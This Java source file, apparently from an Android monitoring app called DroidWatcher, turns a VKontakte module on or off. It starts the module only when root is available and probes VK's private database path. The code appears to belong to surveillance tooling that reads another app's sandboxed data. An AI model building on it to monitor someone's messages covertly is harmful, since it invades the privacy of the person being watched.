package com.droidwatcher.modules; import java.io.File; import android.annotation.SuppressLint; import android.content.Context; import android.content.SharedPreferences; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.preference.PreferenceManager; import com.droidwatcher.SettingsManager; import com.droidwatcher.modules.vk.VkModuleBase; import com.droidwatcher.modules.vk.VkModule_old; import com.droidwatcher.modules.vk.VkModule_v3; import com.droidwatcher.services.AppService; @SuppressLint("SdCardPath") public class VkModule implements OnSharedPreferenceChangeListener { private Context mContext; private SettingsManager mSettings; private VkModuleBase mModule; public VkModule(Context context){ this.mContext = context; this.mSettings = new SettingsManager(context); PreferenceManager.getDefaultSharedPreferences(context).registerOnSharedPreferenceChangeListener(this); } public synchronized void start(){ if (!mSettings.isVkEnabled()) { return; } if (!isVkAvailable()) { return; } if (!AppService.isRootAvailable()) { return; } if (mModule != null && mModule.isStarted()) { return; } if (isV3()) { mModule = new VkModule_v3(mContext); } else { mModule = new VkModule_old(mContext); } mModule.start(); } private synchronized void stop(){ if (mModule != null && mModule.isStarted()) { mModule.stop(); } } public synchronized void dispose(){ if (mModule != null) { mModule.stop(); mModule = null; } } @Override public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) { if (key.equals("VK_ENABLED")){ if (mSettings.isVkEnabled()) { start(); } else{ stop(); } } } private Boolean isVkAvailable(){ try { mContext.getPackageManager().getPackageInfo("com.vkontakte.android", PackageManager.GET_ACTIVITIES); return true; } catch (NameNotFoundException e) { return false; } } private Boolean isV3(){ return new File("/data/data/com.vkontakte.android/databases/vk.db").exists(); } }